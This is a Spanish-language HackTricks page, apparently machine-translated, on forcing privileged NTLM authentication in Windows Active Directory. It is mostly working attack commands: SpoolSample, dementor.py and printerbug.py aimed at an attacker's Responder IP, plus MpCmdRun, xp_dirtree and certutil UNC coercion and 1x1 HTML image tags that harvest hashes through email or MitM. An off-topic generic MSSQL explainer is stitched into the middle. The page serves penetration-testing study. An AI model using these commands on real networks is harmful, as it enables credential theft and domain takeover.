hacktricks/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md

10 KiB

Forzar la autenticación privilegiada NTLM

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

SharpSystemTriggers

SharpSystemTriggers es una colección de disparadores de autenticación remota codificados en C# utilizando el compilador MIDL para evitar dependencias de terceros.

Abuso del servicio Spooler

Si el servicio Print Spooler está habilitado, puedes utilizar algunas credenciales de AD ya conocidas para solicitar al servidor de impresión del Controlador de Dominio una actualización sobre nuevos trabajos de impresión y simplemente decirle que envíe la notificación a algún sistema.
Ten en cuenta que cuando la impresora envía la notificación a un sistema arbitrario, necesita autenticarse contra ese sistema. Por lo tanto, un atacante puede hacer que el servicio Print Spooler se autentique contra un sistema arbitrario, y el servicio utilizará la cuenta del equipo en esta autenticación.

Encontrar servidores de Windows en el dominio

Usando PowerShell, obtén una lista de equipos con Windows. Por lo general, los servidores tienen prioridad, así que centrémonos en ellos:

Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt

Encontrando servicios de Spooler en escucha

Utilizando una versión ligeramente modificada de @mysmartlogin (Vincent Le Toux) SpoolerScanner, verifica si el servicio de Spooler está en escucha:

. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}

También puedes usar rpcdump.py en Linux y buscar el protocolo MS-RPRN.

rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN

Solicitar al servicio que se autentique contra un host arbitrario

Puedes compilar SpoolSample desde aquí.

SpoolSample.exe <TARGET> <RESPONDERIP>

o usa dementor.py de 3xocyte o printerbug.py si estás en Linux

python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>
printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>

Combinando con Delegación sin restricciones

Si un atacante ya ha comprometido una computadora con Delegación sin restricciones, el atacante podría hacer que la impresora se autentique contra esta computadora. Debido a la delegación sin restricciones, el TGT de la cuenta de computadora de la impresora se guardará en la memoria de la computadora con delegación sin restricciones. Como el atacante ya ha comprometido este host, podrá recuperar este ticket y abusar de él (Pass the Ticket).

Autenticación forzada de RCP

{% embed url="https://github.com/p0dalirius/Coercer" %}

PrivExchange

El ataque PrivExchange resulta de una falla en la función de PushSubscription del servidor Exchange, que permite que cualquier usuario de dominio con un buzón fuerce al servidor Exchange a autenticarse en cualquier host proporcionado por el cliente a través de HTTP.

El servicio de Exchange se ejecuta como SYSTEM y tiene privilegios excesivos de forma predeterminada (es decir, tiene privilegios WriteDacl en el dominio antes de la Actualización acumulativa 2019). Esta falla se puede aprovechar para relacionarse con LDAP y volcar la base de datos NTDS del dominio. Si no podemos relacionarnos con LDAP, esto se puede aprovechar para relacionarse y autenticarse en otros hosts dentro del dominio. Este ataque te llevará directamente a Administrador de dominio con cualquier cuenta de usuario de dominio autenticada.

Esta técnica fue copiada de aquí.

Dentro de Windows

Si ya estás dentro de la máquina Windows, puedes forzar a Windows a conectarse a un servidor utilizando cuentas privilegiadas con:

Defender MpCmdRun

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt

MSSQL

MSSQL (Microsoft SQL Server) es un sistema de gestión de bases de datos relacional desarrollado por Microsoft. Es ampliamente utilizado en entornos empresariales para almacenar y administrar grandes cantidades de datos. MSSQL ofrece una amplia gama de características y funcionalidades, incluyendo soporte para consultas complejas, transacciones ACID, replicación de datos y seguridad avanzada.

En el contexto del hacking, MSSQL puede ser un objetivo atractivo para los atacantes debido a la cantidad de datos confidenciales que puede contener. Los atacantes pueden intentar explotar vulnerabilidades conocidas en el servidor MSSQL para obtener acceso no autorizado a la base de datos o para extraer información sensible.

Algunas técnicas comunes utilizadas en el hacking de MSSQL incluyen la inyección de SQL, la explotación de vulnerabilidades de desbordamiento de búfer y la fuerza bruta de contraseñas débiles. Es importante que los administradores de bases de datos implementen medidas de seguridad adecuadas, como mantener el software MSSQL actualizado, utilizar contraseñas fuertes y restringir el acceso a la base de datos solo a usuarios autorizados.

Los profesionales de la seguridad también pueden realizar pruebas de penetración en los servidores MSSQL para identificar posibles vulnerabilidades y ayudar a fortalecer la seguridad de la base de datos. Estas pruebas pueden incluir la búsqueda de configuraciones incorrectas, la revisión de permisos de usuario y la evaluación de la resistencia a ataques de inyección de SQL.

En resumen, MSSQL es un sistema de gestión de bases de datos ampliamente utilizado que puede ser un objetivo atractivo para los atacantes. Es importante implementar medidas de seguridad adecuadas y realizar pruebas de penetración para proteger los datos almacenados en MSSQL.

EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1

O puedes utilizar esta otra técnica: https://github.com/p0dalirius/MSSQL-Analysis-Coerce

Certutil

Es posible utilizar certutil.exe (binario firmado por Microsoft) para forzar la autenticación NTLM:

certutil.exe -syncwithWU  \\127.0.0.1\share

Inyección de HTML

A través de correo electrónico

Si conoces la dirección de correo electrónico del usuario que inicia sesión en una máquina que deseas comprometer, simplemente puedes enviarle un correo electrónico con una imagen de 1x1 como la siguiente:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

y cuando lo abre, intentará autenticarse.

MitM

Si puedes realizar un ataque MitM a una computadora e inyectar HTML en una página que visualizará, podrías intentar inyectar una imagen como la siguiente en la página:

<img src="\\10.10.17.231\test.ico" height="1" width="1" />

Rompiendo NTLMv1

Si puedes capturar desafíos NTLMv1, lee aquí cómo romperlos.
Recuerda que para romper NTLMv1 necesitas establecer el desafío de Responder como "1122334455667788"

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥